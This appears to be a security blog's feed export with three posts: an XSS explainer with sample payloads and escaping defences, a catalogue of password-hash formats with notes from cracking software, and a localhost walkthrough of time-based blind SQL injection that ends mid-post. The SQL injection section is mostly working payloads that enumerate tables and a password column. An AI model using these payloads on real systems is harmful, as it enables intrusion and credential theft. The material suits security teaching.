<p>XSS allows malicious users to inject client-side code (mainly Javascript) into web pages to be run by other unsuspecting users. It may be easier to understand with an example. Suppose I’m a web developer creating a hot new search engine: example.com. At its basic level, the search engine requires two pages. The first page, <a href="http://www.example.com" target="_blank" rel="external">http://www.example.com</a>, only contains a search box.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;form action=&quot;/search&quot; method=&quot;get&quot;&gt;</span><br><span class="line"> &lt;input type=&quot;text&quot; name=&quot;query&quot; /&gt;</span><br><span class="line">&lt;/form&gt;</span><br></pre></td></tr></table></figure></p>
<p>The second page contains the list of search results. As a friendly reminder to the user, it also includes their search term. The server-side code that generates that piece of HTML, here implemented using Sinatra, may look something like this.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">require &apos;sinatra&apos;</span><br><span class="line"></span><br><span class="line">get &apos;/search&apos; do</span><br><span class="line"> html = &quot;&quot;</span><br><span class="line"> # ...</span><br><span class="line"> html += &quot;Here are the results found for: #&#123;params[:query]&#125;&quot;</span><br><span class="line"> # ...</span><br><span class="line"> return html</span><br><span class="line">end</span><br></pre></td></tr></table></figure></p>
<h2 id="The-Danger"><a href="#The-Danger" class="headerlink" title="The Danger"></a>The Danger</h2><p>Using typical string interpolation here presents a problem to the user’s browser because it cannot differentiate between HTML intended by my code and any HTML entities that may exist inside the query parameter. As a result, it is easy for an attacker to exploit this by typing the following into the search box:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;alert(&apos;hacked!&apos;);&lt;/script&gt;</span><br></pre></td></tr></table></figure></p>
<p>Our original intent was to remind the user of what her search term was, so we want everything inside the paragraph tags to be treated as plain text:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">&lt;p&gt;Here are the results found for: &lt;script&gt;alert(&apos;hacked!&apos;);&lt;/script&gt;&lt;/p&gt;</span><br><span class="line">...</span><br></pre></td></tr></table></figure></p>
<p>Unfortunately, the script tags here get parsed just like any other script tag, and the Javascript code between them gets executed. The browser does not know the difference between the script tag inserted via user input and a script tag inserted by us.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">&lt;p&gt;Here are the results found for: &lt;script&gt;alert(&apos;hacked!&apos;);&lt;/script&gt;&lt;/p&gt;</span><br><span class="line">...</span><br></pre></td></tr></table></figure></p>
<p>At this point you might be thinking, “So what? Javascript is client-side, so the attacker only managed to accomplish hacking himself.” Unfortunately, this is not the whole story. At this point the attacker’s URL bar reads <a href="http://www.example.com?query=" target="_blank" rel="external">http://www.example.com?query=</a><script>alert(‘hacked!’);</script>, and she could easily copy this URL and paste it somewhere in an effort to get potential victims to click on it. She could post it to public forums, send e-mails to example.com users that include this link (with a tempting title like “Check out these cat pictures!”) or embed this page on her own site using an invisible iframe. In any case, the malicious Javascript code then runs on the unsuspecting victim’s computer. Notice how this differs from another popular attack, SQL injection, in that XSS is aimed at users of the website, not the website itself. </p>
<p>The worst part is that because Javascript is designed to be a powerful tool to manipulate a web page, this kind of attack can be devastating. An attacker can use XSS to steal users’ cookies and use those to impersonate them at example.com, steal their credit card information, or even trick them into installing and downloading malware. Anything that HTML and Javascript can do, the attacker can do. </p>
<h2 id="The-Answer"><a href="#The-Answer" class="headerlink" title="The Answer"></a>The Answer</h2><p>The main defense against XSS is to escape all user input. Escaping user input is the technique of replacing certain characters with other equivalent characters to remove ambiguity for a browser’s parsers. Doing this properly is a solid defense against XSS, because escaped characters signal to a parser that they are to be treated as text and never as code. To do this properly, we have to identify which characters are safe to display without being mistaken for characters can switch out of the current context. Every character not in this safe list needs to be escaped, so that the browser does not treat them as executable code. </p>
<p>Unfortunately, there is no single tool or algorithm to do this, due to the variety of contexts in which one could insert user input, and the different requirements each of those contexts have for properly escaping text. Typically, however, modern web programming frameworks have libraries devoted to escaping user input in a variety of contexts. I recommend strictly using those libraries and not implementing your own. If you’re curious about how these libraries work, in the following sections I discuss the most common contexts in which you would want to insert user input, and the proper ways to use escaping to prevent XSS. </p>
<h3 id="Between-Opening-and-Closing-HTML-Content-Tag"><a href="#Between-Opening-and-Closing-HTML-Content-Tag" class="headerlink" title="Between Opening and Closing HTML Content Tag"></a>Between Opening and Closing HTML Content Tag</h3><p>Inside standard content elements is the safest place to insert user input. HTML content elements include tags such as <code>&lt;p&gt;</code>, <code>&lt;div&gt;</code>, and <code>&lt;li&gt;</code>, essentially any element meant to contain other content elements or plain text. In this case, we want to use HTML escaping to ensure user input is never mistaken for an HTML tag or attribute. This means that we have to convert certain dangerous characters into the form <code>&amp;X</code>;, where X is either a number (preceded by a <code>#</code>) or, in certain cases, a name. These constructs are called HTML entities, and they tell the HTML parser that they should be interpreted and displayed as text, and never treated as HTML tags. Below is a complete list of the characters that need to be escaped. </p>
<table>
<thead>
<tr>
<th>Dangerous Character</th>
<th>Named HTML Entity</th>
<th>Numerical HTML Entity (in hex)</th>
</tr>
</thead>
<tbody>
<tr>
<td>&amp;</td>
<td>\&amp;</td>
<td>\&#38;</td>
</tr>
<tr>
<td>&lt;</td>
<td>\&lt;</td>
<td>\&#60;</td>
</tr>
<tr>
<td>&gt;</td>
<td>\&gt;</td>
<td>\&#62;</td>
</tr>
<tr>
<td>“</td>
<td>\&quot;</td>
<td>\&#34;</td>
</tr>
<tr>
<td>‘</td>
<td></td>
<td>\&#39;</td>
</tr>
</tbody>
</table>
<p>In our search engine example above, we wanted to place user input inside of </p><p> tags, even if the input is an attempt at XSS. This can safely be accomplished by using the HTML escaping technique. The raw HTML with proper escaping looks like this:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">&lt;p&gt;Here are the results found for: &amp;lt;script&amp;gt;alert(&amp;#39;hacked!&amp;#39;);&amp;lt;/script&amp;gt;&lt;/p&gt;</span><br><span class="line">...</span><br></pre></td></tr></table></figure></p>
<h3 id="HTML-Attribute-Values"><a href="#HTML-Attribute-Values" class="headerlink" title="HTML Attribute Values"></a>HTML Attribute Values</h3><p>While it is possible to allow user input in HTML tag attributes, it is significantly more dangerous than allowing user input between content tags. Because HTML attribute values don’t have to be quoted, there are many more ways for attackers to escape out of them and inject malicious code. In the following contrived example, we construct a page uses a get parameter to set the width of an image.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">require &apos;sinatra&apos;</span><br><span class="line">get &apos;/image&apos; do</span><br><span class="line"> html = &quot;&quot;</span><br><span class="line"> # ...</span><br><span class="line"> html += &quot;&lt;img src=image.jpg height=300 width=#&#123;params[:w]&#125;&gt;&quot;</span><br><span class="line"> # ...</span><br><span class="line"> return html</span><br><span class="line">end</span><br></pre></td></tr></table></figure></p>
<p>Here, if an attacker constructs the URL <code>http://example.com/image?w=400%20onload=alert(&#39;hacked!&#39;)</code>, the resulting HTML will cause the malicious Javascript to run with the image is loaded.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">&lt;img src=image.jpg height=300 width=400 onload=alert(&apos;hacked!&apos;)&gt;</span><br><span class="line">...</span><br></pre></td></tr></table></figure></p>
<p>To ensure safety, we have to escape all non-alphanumeric characters in the user input using HTML entities, not just the five characters listed in the previous table. A complete list HTML entities can be found <a href="http://dev.w3.org/html5/html-author/charref" target="_blank" rel="external">here</a>. In the above example, properly escaped user input would look like this:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">&lt;img src=image.jpg height=300 width=400&amp;#32;onload&amp;#61;alert&amp;#40;&amp;#39;hacked&amp;#33;&amp;#39;&amp;#41;&gt;</span><br><span class="line">...</span><br></pre></td></tr></table></figure></p>
<h3 id="JSON-String-Values"><a href="#JSON-String-Values" class="headerlink" title="JSON String Values"></a>JSON String Values</h3><p>If you want to allow user input to be embedded in your JavaScript code, the only safe place is inside of a quoted string, either as a regular string variable or within a JSON string value. Even here, it is still dangerous to allow user input to be inserted unescaped, as the example below illustrates.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line">var string = &quot;&lt;/script&gt;&lt;script&gt;alert(&apos;hacked!&apos;);&quot;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure></p>
<p>Even though the red is inside of a Javascript string, it closes the Javascript context and starts a new one. This is because browsers have their HTML parsers run before the Javascript parsers, so HTML elements get highest priority. Even my text editor gets this wrong.<br>The best solution here is to escape every non-alphanumeric character using unicode escaping. The following table has some examples. </p>
<table>
<thead>
<tr>
<th>Dangerous Character</th>
<th>Unicode escape</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;</td>
<td>\u003C</td>
</tr>
<tr>
<td>&gt;</td>
<td>\u003E</td>
</tr>
<tr>
<td>“</td>
<td>\u0022</td>
</tr>
</tbody>
</table>
<p>There are other dangerous places to allow user input to be inserted, such as CSS property values and URL get parameters, but the solutions for all of them are the same: always escape user input in every context. Rather than trying to remember all of the escaping rules for each context, it’s much safer to use a library for the job. Read the documentation of your favorite web framework and use its built-in tools to ensure you don’t make any mistakes. </p>
<p>As you’ve seen in the examples above, it is all too easy to expose your site to XSS, and these types of vulnerabilities can be incredibly hard to detect for even trained human eyes. As an added level of security, I highly recommend using an automated tool to scan for and detect XSS vulnerabilities in your site. Tinfoil provides the best web application security solution on the market, and it detects XSS vulnerabilities on your website along with many other types of web vulnerabilities. </p>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul>
<li><a href="https://www.tinfoilsecurity.com/blog/what-is-cross-site-scripting-xss" target="_blank" rel="external">Cross-Site Scripting (XSS) in Plain English</a></li>
</ul>
<p><br></p>
</content>
<summary type="html">
<h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>Welcome to my weekly series where I explain differ
</summary>
<category term="B-XSS" scheme="http://sec.php101.cn/categories/B-XSS/"/>
</entry>
<entry>
<title>Ultimate Hash Types</title>
<link href="http://sec.php101.cn/2014/12/03/hash-types/"/>
<id>http://sec.php101.cn/2014/12/03/hash-types/</id>
<published>2014-12-02T17:24:50.000Z</published>
<updated>2016-03-17T08:46:29.000Z</updated>
<content type="html"><h2 id="DES-Unix"><a href="#DES-Unix" class="headerlink" title="DES(Unix)"></a>DES(Unix)</h2><ul>
<li>Example: IvS7aeT4NzQPM</li>
<li>Used in Linux and other similar OS.</li>
<li>Length: 13 characters.</li>
<li>Description: The first two characters are the salt (random characters; in our example the salt is the string “Iv”), then there follows the actual hash.</li>
<li>Notes: [1] [2]</li>
</ul>
<h2 id="Domain-Cached-Credentials"><a href="#Domain-Cached-Credentials" class="headerlink" title="Domain Cached Credentials"></a>Domain Cached Credentials</h2><ul>
<li>Example: Admin:b474d48cdfc4974d86ef4d24904cdd91</li>
<li>Used for caching passwords of Windows domain.</li>
<li>Length: 16 bytes.</li>
<li>Algorithm: MD4(MD4(Unicode($pass)).Unicode(strtolower($username)))</li>
<li>Note: [1]</li>
</ul>
<h2 id="MD5-Unix"><a href="#MD5-Unix" class="headerlink" title="MD5(Unix)"></a>MD5(Unix)</h2><ul>
<li>Example: $1$12345678$XM4P3PrKBgKNnTaqG9P0T/</li>
<li>Used in Linux and other similar OS.</li>
<li>Length: 34 characters.</li>
<li>Description: The hash begins with the $1$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string “12345678”), then there goes one more $ character, followed by the actual hash.</li>
<li>Algorithm: Actually that is a loop calling the MD5 algorithm 2000 times.</li>
<li>Notes: [1] [2]</li>
</ul>
<h2 id="MD5-APR"><a href="#MD5-APR" class="headerlink" title="MD5(APR)"></a>MD5(APR)</h2><ul>
<li>Example: $apr1$12345678$auQSX8Mvzt.tdBi4y6Xgj.</li>
<li>Used in Linux and other similar OS.</li>
<li>Length: 37 characters.</li>
<li>Description: The hash begins with the $apr1$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string “12345678”), then there goes one more $ character, followed by the actual hash.</li>
<li>Algorithm: Actually that is a loop calling the MD5 algorithm 2000 times.</li>
<li>Notes: [1] [2]</li>
</ul>
<h2 id="MD5-phpBB3"><a href="#MD5-phpBB3" class="headerlink" title="MD5(phpBB3)"></a>MD5(phpBB3)</h2><ul>
<li>Example: $H$9123456785DAERgALpsri.D9z3ht120</li>
<li>Used in phpBB 3.x.x.</li>
<li>Length: 34 characters.</li>
<li>Description: The hash begins with the $H$ signature, then there goes one character (most often the number ‘9’), then there goes the salt (8 random characters; in our example the salt is the string “12345678”), followed by the actual hash.</li>
<li>Algorithm: Actually that is a loop calling the MD5 algorithm 2048 times.</li>
<li>Notes: [1] [2]</li>
</ul>
<h2 id="MD5-Wordpress"><a href="#MD5-Wordpress" class="headerlink" title="MD5(Wordpress)"></a>MD5(Wordpress)</h2><ul>
<li>Example: $P$B123456780BhGFYSlUqGyE6ErKErL01</li>
<li>Used in Wordpress.</li>
<li>Length: 34 characters.</li>
<li>Description: The hash begins with the $P$ signature, then there goes one character (most often the number ‘B’), then there goes the salt (8 random characters; in our example the salt is the string “12345678”), followed by the actual hash.</li>
<li>Algorithm: Actually that is a loop calling the MD5 algorithm 8192 times.</li>
<li>Notes: [1] [2]</li>
</ul>
<h2 id="MySQL"><a href="#MySQL" class="headerlink" title="MySQL"></a>MySQL</h2><ul>
<li>Example: 606717496665bcba</li>
<li>Used in the old versions of MySQL.</li>
<li>Length: 8 bytes.</li>
<li>Description: The hash consists of two DWORDs, each not exceeding the value of 0x7fffffff.</li>
</ul>
<h2 id="MySQL5"><a href="#MySQL5" class="headerlink" title="MySQL5"></a>MySQL5</h2><ul>
<li>Example: *E6CC90B878B948C35E92B003C792C46C58C4AF40</li>
<li>Used in the new versions of MySQL.</li>
<li>Length: 20 bytes.</li>
<li>Algorithm: SHA-1(SHA-1($pass))</li>
<li>Note: The hashes are to be loaded to the program without the asterisk that stands in the beginning of each hash.</li>
</ul>
<h2 id="RAdmin-v2-x"><a href="#RAdmin-v2-x" class="headerlink" title="RAdmin v2.x"></a>RAdmin v2.x</h2><ul>
<li>Example: 5e32cceaafed5cc80866737dfb212d7f</li>
<li>Used in the application Remote Administrator v2.x.</li>
<li>Length: 16 bytes.</li>
<li>Algorithm: The password is padded with zeros to the length of 100 bytes, then that * entire string is hashed with the MD5 algorithm.</li>
</ul>
<h2 id="MD5"><a href="#MD5" class="headerlink" title="MD5"></a>MD5</h2><ul>
<li>Example: c4ca4238a0b923820dcc509a6f75849b</li>
<li>Used in phpBB v2.x, Joomla version below 1.0.13 and many other forums and CMS.</li>
<li>Length: 16 bytes.</li>
<li>Algorithm: Same as the md5() function in PHP.</li>
</ul>
<h2 id="md5-pass-salt"><a href="#md5-pass-salt" class="headerlink" title="md5($pass.$salt)"></a>md5($pass.$salt)</h2><ul>
<li>Example: 6f04f0d75f6870858bae14ac0b6d9f73:1234</li>
<li>Used in WB News, Joomla version 1.0.13 and higher.</li>
<li>Length: 16 bytes.</li>
<li>Note: [1]</li>
</ul>
<h2 id="md5-salt-pass"><a href="#md5-salt-pass" class="headerlink" title="md5($salt.$pass)"></a>md5($salt.$pass)</h2><ul>
<li>Example: f190ce9ac8445d249747cab7be43f7d5:12</li>
<li>Used in osCommerce, AEF, Gallery and other CMS.</li>
<li>Length: 16 bytes.</li>
<li>Note: [1]</li>
</ul>
<h2 id="md5-md5-pass"><a href="#md5-md5-pass" class="headerlink" title="md5(md5($pass))"></a>md5(md5($pass))</h2><ul>
<li>Example: 28c8edde3d61a0411511d3b1866f0636</li>
<li>Used in e107, DLE, AVE, Diferior, Koobi and other CMS.</li>
<li>Length: 16 bytes.</li>
</ul>
<h2 id="md5-md5-pass-salt"><a href="#md5-md5-pass-salt" class="headerlink" title="md5(md5($pass).$salt)"></a>md5(md5($pass).$salt)</h2><ul>
<li>Example: 6011527690eddca23580955c216b1fd2:wQ6</li>
<li>Used in vBulletin, IceBB.</li>
<li>Length: 16 bytes.</li>
<li>Notes: [1] [3] [4]</li>
</ul>
<h2 id="md5-md5-salt-md5-pass"><a href="#md5-md5-salt-md5-pass" class="headerlink" title="md5(md5($salt).md5($pass))"></a>md5(md5($salt).md5($pass))</h2><ul>
<li>Example: 81f87275dd805aa018df8befe09fe9f8:wH6_S</li>
<li>Used in IPB.</li>
<li>Length: 16 bytes.</li>
<li>Notes: [1] [3]</li>
</ul>
<h2 id="md5-md5-salt-pass"><a href="#md5-md5-salt-pass" class="headerlink" title="md5(md5($salt).$pass)"></a>md5(md5($salt).$pass)</h2><ul>
<li>Example: 816a14db44578f516cbaef25bd8d8296:1234</li>
<li>Used in MyBB.</li>
<li>Length: 16 bytes.</li>
<li>Note: [1]</li>
</ul>
<h2 id="md5-salt-pass-salt"><a href="#md5-salt-pass-salt" class="headerlink" title="md5($salt.$pass.$salt)"></a>md5($salt.$pass.$salt)</h2><ul>
<li>Example: a3bc9e11fddf4fef4deea11e33668eab:1234</li>
<li>Used in TBDev.</li>
<li>Length: 16 bytes.</li>
<li>Note: [1]</li>
</ul>
<h2 id="md5-salt-md5-salt-pass"><a href="#md5-salt-md5-salt-pass" class="headerlink" title="md5($salt.md5($salt.$pass))"></a>md5($salt.md5($salt.$pass))</h2><ul>
<li>Example: 1d715e52285e5a6b546e442792652c8a:1234</li>
<li>Used in DLP.</li>
<li>Length: 16 bytes.</li>
<li>Note: [1]</li>
</ul>
<h2 id="SHA-1"><a href="#SHA-1" class="headerlink" title="SHA-1"></a>SHA-1</h2><ul>
<li>Example: 356a192b7913b04c54574d18c28d46e6395428ab</li>
<li>Used in many forums and CMS.</li>
<li>Length: 20 bytes.</li>
<li>Algorithm: Same as the sha1() function in PHP.</li>
</ul>
<h2 id="sha1-strtolower-username-pass"><a href="#sha1-strtolower-username-pass" class="headerlink" title="sha1(strtolower($username).$pass)"></a>sha1(strtolower($username).$pass)</h2><ul>
<li>Example: Admin:6c7ca345f63f835cb353ff15bd6c5e052ec08e7a</li>
<li>Used in SMF.</li>
<li>Length: 20 bytes.</li>
<li>Note: [1]</li>
</ul>
<h2 id="sha1-salt-sha1-salt-sha1-pass"><a href="#sha1-salt-sha1-salt-sha1-pass" class="headerlink" title="sha1($salt.sha1($salt.sha1($pass)))"></a>sha1($salt.sha1($salt.sha1($pass)))</h2><ul>
<li>Example: cd37bfbf68d198d11d39a67158c0c9cddf34573b:1234</li>
<li>Used in Woltlab BB.</li>
<li>Length: 20 bytes.</li>
<li>Note: [1]</li>
</ul>
<h2 id="SHA-256-Unix"><a href="#SHA-256-Unix" class="headerlink" title="SHA-256(Unix)"></a>SHA-256(Unix)</h2><ul>
<li>Example: $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqi</li>
<li>Used in Linux and other similar OS.</li>
<li>Length: 55 characters.</li>
<li>Description: The hash begins with the $5$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string “12345678”), then there goes one more $ character, followed by the actual hash.</li>
<li>Algorithm: Actually that is a loop calling the SHA-256 algorithm 5000 times.</li>
<li>Notes: [1] [2]</li>
</ul>
<h2 id="SHA-512-Unix"><a href="#SHA-512-Unix" class="headerlink" title="SHA-512(Unix)"></a>SHA-512(Unix)</h2><ul>
<li>Example: $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEm</li>
<li>Used in Linux and other similar OS.</li>
<li>Length: 98 characters.</li>
<li>Description: The hash begins with the $6$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string “12345678”), then there goes one more $ character, followed by the actual hash.</li>
<li>Algorithm: Actually that is a loop calling the SHA-512 algorithm 5000 times.</li>
<li>Notes: [1] [2]</li>
</ul>
<hr>
<p>Notes:</p>
<p>[1] Since the hashing requires not only a password but also a salt (or a user name), which is unique for each user, the attack speed for such hashes will decline proportionally to their count (for example, attacking 100 hashes will go 100 times slower than attacking one hash).</p>
<p>[2] The hash is to be loaded to the program in full, to the “Hash” column - the program will automatically extract the salt and other required data from it.</p>
<p>[3] The ‘:’ character can be used as salt; however, since it is used by default for separating hash and salt in PasswordsPro, it is recommended that you use a different character for separating fields; e.g., space.</p>
<p>[4] Salt can contain special characters - single or double quotes, as well as backslash, which are preceded (after obtaining dumps from MySQL databases) by an additional backslash, which is to be removed manually. For example, the salt to be loaded to the program would be a’4 instead of a\’4, as well as the salts a”4 instead of a\”4 and a\4 instead of a\4.</p>
</content>
<summary type="html">
<h2 id="DES-Unix"><a href="#DES-Unix" class="headerlink" title="DES(Unix)"></a>DES(Unix)</h2><ul>
<li>Example: IvS7aeT4NzQPM</li>
<li>Used i
</summary>
<category term="Z-Other" scheme="http://sec.php101.cn/categories/Z-Other/"/>
<category term="hash" scheme="http://sec.php101.cn/tags/hash/"/>
<category term="crypt" scheme="http://sec.php101.cn/tags/crypt/"/>
</entry>
<entry>
<title>SQLi--PART VII:Time Based Blind Injection</title>
<link href="http://sec.php101.cn/2014/12/02/SQLi--PART-VIITime-Based-Blind-Injection/"/>
<id>http://sec.php101.cn/2014/12/02/SQLi--PART-VIITime-Based-Blind-Injection/</id>
<published>2014-12-02T03:08:23.000Z</published>
<updated>2016-03-17T08:39:50.000Z</updated>
<content type="html"><h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>Today I’m going to be going over TIME BASED BLIND SQL INJECTiON using SLEEP().<br>For this example, I’m running MySQL on localhost, injecting using UNION to pull data as an example.<br>Now this is optional, there’s no need to use BLIND injection if you can use UNION ~ <strong>again I’m only doing so to provide visual examples</strong>.</p>
<h2 id="Step1-start-your-injection"><a href="#Step1-start-your-injection" class="headerlink" title="Step1: start your injection"></a>Step1: start your injection</h2><p>First off start your injection.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">localhost/PHP/test.php?id=1&apos;</span><br></pre></td></tr></table></figure></p>
<p>I got a syntax error.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &apos;&apos;1&apos;&apos;&apos; at line 1</span><br></pre></td></tr></table></figure></p>
<h2 id="Step2-use-union"><a href="#Step2-use-union" class="headerlink" title="Step2: use union"></a>Step2: use union</h2><p>Now ~ I can go ahead and start injecting. First off, I’m going to use union to retrieve a vulnerable column, to pull information out of to use as an example.<br>Since I know my table name is “news”, I’m going to make this fast.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">localhost/PHP/test.php?id=1&apos; AND (SELECT * from news)=(1)-- x</span><br></pre></td></tr></table></figure></p>
<p>SQL Error:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Operand should contain 3 column(s)</span><br></pre></td></tr></table></figure></p>
<p>So my column count is 3, now I need to cancel out the query by adding a false condition, and use UNION SELECT to see my columns.<br>I’ll divide the page by 0 using DIV(0).<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">localhost/PHP/test.php?id=1&apos; DIV(0) UNION SELECT 1,2,3-- x</span><br></pre></td></tr></table></figure></p>
<p>I can pull data from the column “2” shown above.<br>Let’s get the MySQL user to use later during our blind injection.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">localhost/PHP/test.php?id=1&apos; DIV(0) UNION SELECT 1,user(),3-- x</span><br></pre></td></tr></table></figure></p>
<p>So my user is “root@localhost”. </p>
<h2 id="Step3-TIME-BASED-INJECTION"><a href="#Step3-TIME-BASED-INJECTION" class="headerlink" title="Step3: TIME BASED INJECTION"></a>Step3: TIME BASED INJECTION</h2><p>Now I’ll switch to the TIME BASED INJECTION.<br>As most developers/programmers know, 1 and 0 can be used as not only integers, but booleans (true or false).<br>1 returns true, and 0 returns false.<br>So let’s check if this works by adding a true statement.<br><strong>MySQL IF()</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">IF(expression ,expr_true, expr_false);</span><br></pre></td></tr></table></figure></p>
<p>So it goes as following ~<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AND (SELECT 1=(SELECT IF(1=1,SLEEP(5),NULL)))</span><br></pre></td></tr></table></figure></p>
<p>Now what this says is IF 1 is equal to 1, sleep for 5 seconds (stop the page from loading), NULL (do nothing if false).<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/PHP/test.php?id=1&apos; AND (SELECT 1=(SELECT IF(1=1,SLEEP(5),NULL)))-- x</span><br></pre></td></tr></table></figure></p>
<p>It worked! Instead of an instant connection on localhost, the page didn’t respond for another 5 seconds.<br>Now we know of course 1 is equal to 1, but how about selecting information from the database?<br>Now my MySQL version is &lt;5, so let’s check using TIME BASED.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SUBSTRING(version(),1,1) = 5</span><br></pre></td></tr></table></figure></p>
<p>This states that the first number of my MySQL version is 5.<br>Now you add this expression in your IF statement.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/PHP/test.php?id=1&apos; AND (SELECT 1=(SELECT IF((SELECT SUBSTRING(version(),1,1))=5,SLEEP(5),NULL)))-- x</span><br></pre></td></tr></table></figure></p>
<p>The page takes 5 seconds to load so this shows you can perform SELECT queries inside your IF statement.<br>Now to prove this theory. Remember back in the begginning when I got the MySQL user “root@localhost”?<br>Let’s try selecting this user to see if it returns true.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/PHP/test.php?id=1&apos; AND (SELECT 1=(SELECT IF((SELECT user()= &quot;root@localhost&quot;),SLEEP(5),NULL)))-- x</span><br></pre></td></tr></table></figure></p>
<p>The page took another 5 seconds to load, meaning this statement is true (user is ‘root@localhost’).<br>Now you if you can use SELECT statements in your IF statement, you can SELECT things from the database (tables, columns, etc) (MySQL<5) <figure="" class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0,1)</span><br></pre></td></tr></table></5)></p>
<p>This will select the first table from our current database. Using blind, you need to use SUBSTRING to get them letter by letter.<br>In my case, I already know the table here is admin (I created it in PHPmyAdmin).<br>So let’s test it out…<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/PHP/test.php?id=1&apos; AND (SELECT 1=(SELECT IF((SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)=&quot;a&quot;,SLEEP(5),NULL)))-- x</span><br></pre></td></tr></table></figure></p>
<p>Returns true, the first letter of my table name is “a” (the table admin).<br>Since I know the table name already, let’s try it without using SUBSTRING() to see if the table exists.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/PHP/test.php?id=1&apos; AND (SELECT 1=(SELECT IF((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)=&quot;admin&quot;,SLEEP(5),NULL)))-- x</span><br></pre></td></tr></table></figure></p>
<p>Returns true again, my table name is “admin”. </p>
<p>Now let’s get the columns out of the admin table. The columns I have are “username” as my first, and “password” as my second. So I’m going to save time and increment my LIMIT statement to start at the second column (password).<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/PHP/test.php?id=1&apos; AND (SELECT 1=(SELECT IF((SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name=&quot;admin&quot; LIMIT 1,1)=&quot;p&quot;,SLEEP(5),NULL)))-- x</span><br></pre></td></tr></table></figure></p>
<p>Returns true, the first letter of the second column in my admin table is “p” (password).<br>Lets check if the column name is called password.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/PHP/test.php?id=1&apos; AND (SELECT 1=(SELECT IF((SELECT column_name FROM information_schema.columns WHERE table_name=&quot;admin&quot; LIMIT 1,1)=&quot;password&quot;,SLEEP(5),NULL)))-- x</span><br></pre></td></tr></table></figure></p>
